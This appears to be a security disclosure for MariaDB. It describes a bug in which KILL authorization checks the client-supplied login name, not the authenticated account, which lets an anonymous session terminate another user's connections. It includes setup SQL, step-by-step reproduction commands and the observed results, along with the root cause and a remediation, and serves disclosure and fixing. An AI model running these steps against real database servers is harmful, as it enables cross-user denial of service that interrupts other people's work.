KILL authorization trusts the presented login name instead of the authenticated anonymous account

How it was found

Summary

When a supplied username falls back to an anonymous MariaDB account, the security context retains the supplied login name in user while the authenticated identity in priv_user is empty. KILL authorization compares user, allowing the anonymous session to kill a connection whose user matches the attacker-supplied login name.

Preconditions

• An anonymous account matches the attacker's source address.
• A victim connection uses a username the attacker can present from an address where the victim's actual account does not match.

Setup

CREATE USER ''@'127.0.0.1';
CREATE USER 'killvictim'@'localhost'
  IDENTIFIED BY 'victim-test-only';
FLUSH PRIVILEGES;

Start a victim session over the UNIX socket:

SELECT SLEEP(20);

Record its connection ID from an administrative session.

Connect over TCP while presenting killvictim and no password:

SELECT USER(), CURRENT_USER();
KILL CONNECTION <victim_connection_id>;

Observed result

USER()          = [email protected]
CURRENT_USER()  = @127.0.0.1
KILL result     = success
victim result   = connection terminated

The attacker command exited successfully and the victim's sleeping client failed because its connection was closed.

Expected result

The anonymous session should receive ER_KILL_DENIED_ERROR because it lacks the cross-user connection-administration privilege and is not the authenticated owner of the victim session.

Root cause

kill_one_thread() accepts the operation when user_matches() succeeds. Security_context::user_matches() compares user, which is the client-supplied login name, rather than priv_user, which identifies the matched ACL account.

Relevant locations:

• sql/sql_parse.cc:9187-9188
• sql/sql_class.cc:5091-5095
• sql/sql_acl.cc:16259-16283

Suggested remediation

Base ownership checks on authenticated priv_user and host/account context. Add an explicit fail-closed check for anonymous authenticated identities before allowing same-user KILL operations.

Impact

An anonymous database account can terminate another principal's connections or queries by presenting that principal's username. This enables cross-user denial of service and can interrupt in-progress database work.